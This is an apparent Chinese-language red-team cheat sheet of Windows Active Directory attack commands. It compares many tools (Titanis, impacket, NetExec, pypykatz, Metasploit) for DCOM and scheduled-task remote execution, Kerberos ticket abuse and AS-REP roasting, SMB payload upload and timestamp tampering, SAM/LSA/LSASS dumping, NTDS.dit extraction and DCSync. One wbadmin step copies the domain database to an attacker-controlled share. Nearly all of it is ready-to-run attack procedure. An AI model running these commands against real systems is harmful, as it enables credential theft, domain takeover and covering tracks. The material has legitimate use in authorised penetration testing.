[↑ 返回索引](#index)

---

### DCOM 执行

> **Titanis `Dcom invoke` — CLSID 查找标准流程：**
> - **ProgID 解析是本地行为。** Titanis 从攻击者的注册表中解析 ProgID（例如 `MMC20.Application`），而非目标系统的注册表。在 Linux 上没有任何注册表可供解析；在 Windows 上攻击者的 CLSID 可能与目标系统的不同。请始终使用 `Reg` 在远程系统上查找实际的 CLSID，然后传递原始 GUID。
> - **属性链遍历**（v0.9.20260320+）：Dcom invoke 现在支持点分属性路径，例如 `Document.ActiveView.ExecuteShellCommand`，可自动遍历 IDispatch 链。`MMC20.Application` 可用。ShellWindows 的 `Item()` 不可用——它需要一个索引参数，而链式语法无法传递该参数。```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"

# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"

# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow

# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]

# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]

# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
  'cmd /c whoami > C:\Windows\Temp\out.txt'

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec

# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
  Document.ActiveView.ExecuteShellCommand \
  cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'

Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '\\192.168.1.10\C$\Windows\Temp\out.txt'

# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
  'C:\Windows\System32\cmd.exe'

# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
  'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default)    REG_SZ    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

[↑ 返回索引](#index)

---

### 计划任务执行

> **注意：** Titanis 尚未实现 MS-TSCH。可使用 WMI 的 `Win32_ScheduledJob` 作为替代方案，或使用 `atexec.py` 获取真正的 MS-TSCH 语义。```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_ScheduledJob Create \
  "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"

# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm  \\192.168.1.10\C$\Windows\Temp\out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"

# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami

# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
  "whoami > C:\Windows\Temp\out.txt"

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec

[↑ 返回索引](#index)

---

## 2. Kerberos

### 请求 TGT```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1

# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
  password=Password123 action=GET_TGT

# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1

# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe

# minikerberos — AES256
minikerberos-getTGT \
  "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
  --ccache jdoe.ccache

# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
  -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
  "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
  --ccache jdoe.ccache

# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi

[↑ 返回索引](#index)

---

### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 192.168.1.1 DOMAIN/svc:Password123

# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc

# minikerberos — S4U2self
minikerberos-getS4U2self \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  [email protected] s4u_self.ccache

# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache

# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
  -S4UserName Administrator@DOMAIN cifs/target.domain.local \
  -OutputFileName admin-target.kirbi

# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ 返回索引](#index)

---

### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt

# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
  --userlist users.txt -o asrep_hashes.txt

# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
  --ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt

# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep

# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=4194304)" \
  -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
  kerb asreq -UserName "$user" -Realm DOMAIN \
    -Kdc 192.168.1.1 -EncTypes Rc4Hmac \
    -OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)

# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1

[↑ 返回索引](#index)

---

### 预认证 / 加密类型探测```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt

# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt

# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt verbose=true

# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1

# Titanis — bulk probe loop
while IFS= read -r user; do
  result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
  if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
    echo "INVALID: $user"
  elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
    echo "NO-PREAUTH: $user"
  else
    echo "VALID: $user"
  fi
done < users.txt

[↑ 返回索引](#index)

---

### 票据续期```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe

# MIT Kerberos
kinit -R
krenew -v -b -t

# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache

# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi

# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]

[↑ 返回索引](#index)

---

### 修改密码```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass

# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass

# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe

# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass

# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass

# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]

[↑ 返回索引](#index)

---

## 3. SMB / 文件操作

### 列出共享```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares

# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'

# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"

# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ 返回索引](#index)

---

### 下载文件```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'get Windows\System32\drivers\etc\hosts hosts.txt'

# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ 返回索引](#index)

---

### 上传文件```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'put payload.exe Windows\Temp\payload.exe'

# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ 返回索引](#index)

---

### 列出命名管道```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe

# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ 返回目录](#index)

---

### 通过 SOCKS5 的 SMB```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]

# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"

# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"

# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Socks5 127.0.0.1:1080

[↑ 返回索引](#index)

---

### 远程文件时间戳篡改```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe

# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"

> **@GMT 快照路径访问：** `@GMT-...` 并不是真实目录——Windows SRV.SYS 会在 SMB2 CREATE 路径中拦截该令牌，并将其重定向到 VSS 快照。逐组件遍历路径的工具（包括 `Smb2Client get`）将得到 `STATUS_OBJECT_PATH_NOT_FOUND`。请改用 smbclient.py 或原生 smbclient，它们会在单个 CREATE 请求中发送完整路径：
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
>   -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```

[↑ 返回索引](#index)

---

### NTFS 备用数据流 (ADS) 枚举```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'allinfo Windows\Temp\file.txt'

# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  streams C$/Windows/Temp/file.txt

# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ 返回索引](#index)

---

### 批量共享枚举```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares

# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24

# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24

# Titanis
while IFS= read -r host; do
  echo "=== $host ==="
  smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
    -Password Password123 2>/dev/null
done < hosts.txt

[↑ 返回索引](#index)

---

### 转储 SAM 哈希```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]

# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=SAM

# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  action=SAM

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam

# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam

# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
  -Password Password123 -BackupSemantics

[↑ 返回索引](#index)

---

### 同时转储 SAM + LSA```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]

# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=ALL

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa

# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"

# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"

# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam        192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ 返回索引](#index)

---

### 通过 VSS 快照进行 NTDS 转储

> 在域控（DC）上请求 VSS 卷影副本，并直接从快照中读取 NTDS.dit 和 SYSTEM 配置单元。不使用复制机制——在 DCSync 被阻止或受到监控时非常有用。

> **⚠️ `-use-vss` 限制：** secretsdump 的 `-use-vss` 会在内部使用 smbexec 来运行 vssadmin 并收集输出。smbexec 服务创建需要 SVCCTL `PacketPrivacy` 身份验证级别，而 secretsdump 不会协商该级别——服务创建会静默失败，输出文件永远不会被写入。请改用 `-use-remoteSSWMI -use-remoteSSWMI-NTDS`，它将完全绕过 SVCCTL。```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss

# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -exec-method wmiexec

# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-vss

# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -outputfile ntds_dump -user-status -pwd-last-set

# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI

# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss

# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss

# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled

# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123

# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM

# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'

# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[↑ 返回索引](#index)

---

### 通过 wbadmin 进行 NTDS Dump（Windows Server Backup）

> `wbadmin` 是 Windows 内置的 LOLBin，它在内部使用 VSS 将文件备份到网络共享 — 无需本地暂存，除备份作业外不会产生代码执行痕迹。适用于 Backup Operators（无需 DA）。要求 DC 对该共享具有写入权限。

> **⚠️ 需要 `WindowsServerBackup` Windows 功能。** 即使未安装该功能，wbadmin 二进制文件也会以存根形式存在 — 此时它会挂起或静默失败。在尝试之前，请验证该功能是否已启用：`Get-WindowsFeature WindowsServerBackup`（PowerShell）或 `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`。如果 `InstallState` 不是 `Installed`，则此方法将不起作用。```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""

# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"

# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
  -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"

# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
  "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"

# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[↑ 返回索引](#index)

---

### 通过 Kerb-Key-List 进行 NTDS 转储 (RODC)

> 通过 RODC 密钥复制协议为所有域帐户提取 AES Kerberos 密钥。需要 RODC `krbtgt` 帐户（`krbtgt_XXXXX`）的 AES 密钥或 NT 哈希。不使用 DRSUAPI 或 VSS——在阻止 DCSync 的环境中很有用。仅恢复 Kerberos 密钥，不直接恢复 NTLM 哈希（尽管可以从 RC4 密钥推导出 NTLM）。```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

[↑ 返回索引](#index)

---

### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"

# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
  --username krbtgt

# pypykatz — pass-the-hash
pypykatz smb dcsync \
  "smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"

# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN

